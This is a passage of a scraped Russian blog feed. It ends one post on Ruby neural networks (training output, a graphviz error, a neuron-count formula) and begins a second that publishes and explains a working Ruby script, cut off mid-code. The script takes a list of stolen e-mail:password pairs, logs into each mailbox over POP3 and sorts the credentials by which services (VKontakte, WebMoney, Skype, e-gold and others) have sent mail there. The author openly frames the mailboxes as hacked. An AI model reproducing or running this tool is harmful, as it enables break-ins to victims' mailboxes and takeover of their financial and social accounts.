<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>: <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0.9501094945639519</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span>, <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>: <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0.061412697926247546</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:linear, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.0</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.0</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1.0</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:linear, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.0</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.0</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1.0</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:sigmoid_stepwise, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.5</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1.3608390766086655</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.9258633161869951</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">1</span>, <span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:sigmoid_stepwise, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.5</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">5.5199047483640955</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1.0</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">1</span>, <span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:sigmoid_stepwise, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.5</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">1.7510475747029322</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.9606836699618748</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">1</span>, <span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:sigmoid_stepwise, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.5</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">2</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>-<span style="color: #000000;">2.005618142945213</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.029562103469001694</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">3</span>, <span style="color: #000000;">4</span>, <span style="color: #000000;">5</span>, <span style="color: #000000;">6</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:sigmoid_stepwise, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.5</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">2</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>-<span style="color: #000000;">2.3070915806646646</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.018010737799533</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">3</span>, <span style="color: #000000;">4</span>, <span style="color: #000000;">5</span>, <span style="color: #000000;">6</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">activation_function</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>:sigmoid_stepwise, :<span style="color: #007800;">activation_steepness</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.5</span>, :<span style="color: #007800;">layer</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">3</span>, :<span style="color: #007800;">sum</span>=<span style="color: #000000; font-weight: bold;">&gt;</span>-<span style="color: #000000;">1.4195548161431304</span>, :<span style="color: #007800;">value</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">0.061412697926247546</span>, :<span style="color: #007800;">connections</span>=<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">7</span>, <span style="color: #000000;">8</span>, <span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
rake aborted<span style="color: #000000; font-weight: bold;">!</span>
graph attribute <span style="color: #ff0000;">'output'</span> invalid
<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>rvm<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-1.9.2-p290<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-graphviz-1.0.8<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>graphviz<span style="color: #000000; font-weight: bold;">/</span>attrs.rb:<span style="color: #000000;">53</span>:in <span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>=<span style="color: #ff0000;">'
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-graphviz-1.0.8/lib/graphviz.rb:378:in `[]='</span>
<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>rvm<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-1.9.2-p290<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-graphviz-1.0.8<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>graphviz.rb:<span style="color: #000000;">901</span>:in <span style="color: #000000; font-weight: bold;">`</span>block <span style="color: #000000; font-weight: bold;">in</span> initialize<span style="color: #ff0000;">'
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-graphviz-1.0.8/lib/graphviz.rb:878:in `each'</span>
<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>rvm<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-1.9.2-p290<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-graphviz-1.0.8<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>graphviz.rb:<span style="color: #000000;">878</span>:in <span style="color: #000000; font-weight: bold;">`</span>initialize<span style="color: #ff0000;">'
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-fann-1.1.3/lib/ruby_fann/neurotica.rb:37:in `new'</span>
<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>rvm<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-1.9.2-p290<span style="color: #000000; font-weight: bold;">/</span>gems<span style="color: #000000; font-weight: bold;">/</span>ruby-fann-1.1.3<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>ruby_fann<span style="color: #000000; font-weight: bold;">/</span>neurotica.rb:<span style="color: #000000;">37</span>:in <span style="color: #000000; font-weight: bold;">`</span>graph<span style="color: #ff0000;">'
/home/username/ror/nn/lib/tasks/test.rake:42:in `block (2 levels) in &lt;top (required)&gt;'</span>
Tasks: TOP =<span style="color: #000000; font-weight: bold;">&gt;</span> test:nn
<span style="color: #7a0874; font-weight: bold;">&#40;</span>See full trace by running task with --trace<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></td></tr></table></div>

<p>Как видно по ошибке в конце вывода, удалось все кроме создания PNG-файла. Но т.к. <code>graphviz</code> далеко не самый важный и нужный элемент, то и Бог с ним.<br />
Описываемое далее выходит за рамки темы объявленной в заголовке, однако, чтобы не забыть я напишу.</p>
<h3>определение количества нейронов</h3>
<p>Теоретически, именно теоретически, количество нейронов определяется по формуле из следствия теорем Арнольда – Колмогорова – Хехт-Нильсена:<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/01/18-0.gif" alt="" title="18-0" width="330" height="54"  /><br />
N<sub>y</sub> — количество выходов;<br />
Q — количество обучающих примеров;<br />
N<sub>w</sub> — необходимое число синаптических связей;<br />
N<sub>x</sub> — количество входов.<br />
Из этого неравенства следует, что количество нейронов для сети с одним скрытым слоем определяется:<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/01/19-0.gif" alt="" title="19-0" width="106" height="52" class="alignnone size-full wp-image-1809" /><br />
Если нарисовать схему нейросети с более чем одним скрытым слоем, то становится очевидным равенство:<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/01/f1.jpg" alt="" title="f1" width="220" height="59" class="alignnone size-full wp-image-1811" /><br />
l — количество слоев;<br />
N<sub>i</sub> — количество нейронов в i-м слое.<br />
Если же в каждом скрытом слое подразумевается одно и тоже количество нейронов, то тождество преобретает вид:<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/01/f2.jpg" alt="" title="f2" width="220" height="59" class="alignnone size-full wp-image-1814" /><br />
Решив квадратное уравнение относительно N и отбросив заведомо отрицательный корень, получаем, что количество нейронов в каждом скрытом слое определяется по формуле:<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/01/f31.jpg" alt="" title="f3" width="259" height="59" class="alignnone size-full wp-image-1817" /><br />
На этом с математикой пока все. Все что идет после следствия из теорем выводилось мной, поэтому возможна ошибка.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2013/01/kaspersky.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2013/01/21/neyronnyie-seti-na-ruby/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>сканирование e-mail&#8217;ов на аккаунты различных сервисов</title>
		<link>http://blog.lukmus.ru/2011/07/27/1038/</link>
		<comments>http://blog.lukmus.ru/2011/07/27/1038/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 07:06:16 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[почта]]></category>
		<category><![CDATA[сканирование на аккаунты]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1038</guid>
		<description><![CDATA[В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их взломали добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( сам разговор ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце [...]]]></description>
			<content:encoded><![CDATA[<p>В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их <del datetime="2011-07-27T05:05:12+00:00">взломали</del> добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( <a rel="nofollow" href="http://forum.antichat.ru/thread285666.html">сам разговор</a> ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце расскажу как он работает.<br />
<img class="aligncenter size-full wp-image-1039" title="Талон_1990_Ленинград_2" src="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" alt="" width="517" height="320" /><br />
<span id="more-1038"></span></p>
<h2>суть вкратце</h2>
<p>Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.</p>
<p>Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.</p>
<h2>скрипт</h2>
<p>Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.</p>
<h3>получение параметров и начальная настройка</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#!/usr/bin/ruby</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'net/pop'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">if</span> ARGV.<span style="color:#9900CC;">size</span>!=<span style="color:#006666;">3</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;&lt;infile&gt; &lt;logfile&gt; &lt;start no&gt;&quot;</span>
  <span style="color:#CC0066; font-weight:bold;">exit</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$infile</span>,$logfile,$start_no=ARGV
<span style="color:#ff6633; font-weight:bold;">$start_no</span>=$start_no.<span style="color:#9900CC;">to_i</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$service</span>=<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'torrents.ru'</span>,<span style="color:#996600;">'tfile.ru'</span>,<span style="color:#996600;">'skype.com'</span>,
  <span style="color:#996600;">'ozon.ru'</span>,<span style="color:#996600;">'odnoklassniki.ru'</span>,<span style="color:#996600;">'smartpay.com.ua'</span>,
  <span style="color:#996600;">'vkontakte.ru'</span>, <span style="color:#996600;">'webmoney.ru'</span>,<span style="color:#996600;">'moneybookers.com'</span>,
  <span style="color:#996600;">'e-gold.com'</span>,<span style="color:#996600;">'e-port.ru'</span>,<span style="color:#996600;">'agava.ru'</span>,
  <span style="color:#996600;">'hoster.ru'</span>,<span style="color:#996600;">'dinohost.ru'</span>,<span style="color:#996600;">'eskhosting.ru'</span>,
  <span style="color:#996600;">'infobox.ru'</span>,<span style="color:#996600;">'zemskov.ru'</span>,<span style="color:#996600;">'art-host.ru'</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<p>Итак, скрипт получает в командной строке 3 параметра:</p>
<ol>
<li>файл, содержащий почты и пароли от них в формате <code>mail@example.ru:passwd</code>, причем каждая почта на новой строке</li>
<li>файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться  и другие ошибки</li>
<li>номер почты в <code>$infile</code>, с которой нужно начать работу. Нумерация с нуля.</li>
</ol>
<p>Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail&#8217;ы этих сервисов.</p>
<h3>некоторые неключевые функции</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> exist<span style="color:#006600; font-weight:bold;">&#40;</span>str,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  outf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  outf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str}&quot;</span>
  outf.<span style="color:#9900CC;">close</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> log<span style="color:#006600; font-weight:bold;">&#40;</span>text,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  logf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  logf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
  logf.<span style="color:#9900CC;">close</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>head,service<span style="color:#006600; font-weight:bold;">&#41;</span>
  service.<span style="color:#9900CC;">each_with_index</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>se,i<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#0000FF; font-weight:bold;">return</span> i <span style="color:#9966CC; font-weight:bold;">if</span> head.<span style="color:#9966CC; font-weight:bold;">include</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>se<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#125;</span>
  <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Немного объясню функции:</p>
<ul>
<li><code>exist</code> &#8211; записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисе</li>
<li><code>log</code> &#8211; записывает сообщение в файл лога</li>
<li><code>check_letter</code> &#8211; проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает <code>-1</code>.</li>
</ul>
<h3>функция сканирования почты</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> check<span style="color:#006600; font-weight:bold;">&#40;</span>mail,pass,service<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#008000; font-style:italic;"># разбиваем почтовый адрес @, на логин и домен</span>
    login,pop_server=mail.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'@'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    pop_server=<span style="color:#996600;">'pop.'</span><span style="color:#006600; font-weight:bold;">+</span>pop_server
    count_reg=<span style="color:#006666;">0</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop=<span style="color:#6666ff; font-weight:bold;">Net::POP3</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>pop_server<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># соединяемся с POP3-сервером</span>
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop.<span style="color:#9900CC;">start</span><span style="color:#006600; font-weight:bold;">&#40;</span>login,pass<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
    <span style="color:#008000; font-style:italic;"># обходим письма в почте</span>
    pop.<span style="color:#9900CC;">mails</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>msg<span style="color:#006600; font-weight:bold;">|</span>
        hed=msg.<span style="color:#9900CC;">header</span>
        STDOUT.<span style="color:#9900CC;">flush</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>si=check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>hed,service<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&gt;</span>=<span style="color:#006666;">0</span>
	  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'!'</span> <span style="color:#008000; font-style:italic;">###</span>
          exist<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{mail}/#{pass}&quot;</span>,service<span style="color:#006600; font-weight:bold;">&#91;</span>si<span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
          <span style="color:#008000; font-style:italic;"># удаляем сервис из экземпляра</span>
          <span style="color:#008000; font-style:italic;"># индивидуального массива сервисов</span>
          <span style="color:#008000; font-style:italic;"># для данной почты</span>
          service.<span style="color:#9900CC;">delete_at</span><span style="color:#006600; font-weight:bold;">&#40;</span>si<span style="color:#006600; font-weight:bold;">&#41;</span>
          count_reg<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
          <span style="color:#9966CC; font-weight:bold;">if</span> service.<span style="color:#9900CC;">size</span>==<span style="color:#006666;">0</span>
            pop.<span style="color:#9900CC;">finish</span>
            <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
          <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">else</span>
	   <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'.'</span>
	<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#each</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#CC00FF; font-weight:bold;">EOFError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">4</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Timeout::Error</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Net::POPError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">5</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    pop.<span style="color:#9900CC;">finish</span>
    <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#def</span></pre></td></tr></table></div>

<p>Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы &#8216;pop.&#8217;+домен.<br />
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.<br />
Также нужно знать, если домен настроен, например, в услуге Яндекса &#8216;Почта для домена&#8217;, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).</p>
<h3>обход исходного файла</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;">inf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>$infile,<span style="color:#996600;">'r'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
i=<span style="color:#006666;">0</span>
<span style="color:#008000; font-style:italic;"># крутим файл до заданной начальной строки</span>
<span style="color:#9966CC; font-weight:bold;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">&lt;</span>$start_no<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># построчно обходим файл</span>
